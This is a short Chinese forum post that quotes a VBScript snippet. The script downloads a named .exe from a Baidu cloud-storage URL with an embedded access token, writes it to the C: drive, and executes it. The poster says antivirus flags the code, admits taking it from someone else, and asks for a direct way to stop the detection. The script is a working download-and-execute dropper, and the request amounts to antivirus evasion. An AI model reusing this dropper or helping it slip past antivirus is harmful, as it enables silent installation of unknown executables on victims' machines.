- Set xPost= createObject("Microsoft.XMLHTTP")
- xPost.Open"GET","https://d.pcs.baidu.com/rest/2.0/pcs/file?method=download&access_token=3.428cd972462324065bf52c929a5b7c0d.2592000.1383729570.2620584487-1040388&path=/apps/izt8/ksbinstaller_s_66_77146.exe",0
- xPost.send()
- Set sGet = CreateObject("ADODB.Stream")
- Sget.Mode = 3
- Sget.Type = 1
- SGET.Open()
- b=xPost.responseBody
- if len(b)>0 then'len(b)>0
- sGet.Write(b)
- Sget.SaveToFile "C:\ksbinstaller_s_66_77146.exe", 2
- Set run = createObject("wscript.shell")
- run.run "C:\ksbinstaller_s_66_77146.exe",3
- end if
复制代码 这一段代码,会被报毒,求解决啊,本人菜鸟,代码也是从别人那拿的,求直接给解决办法 |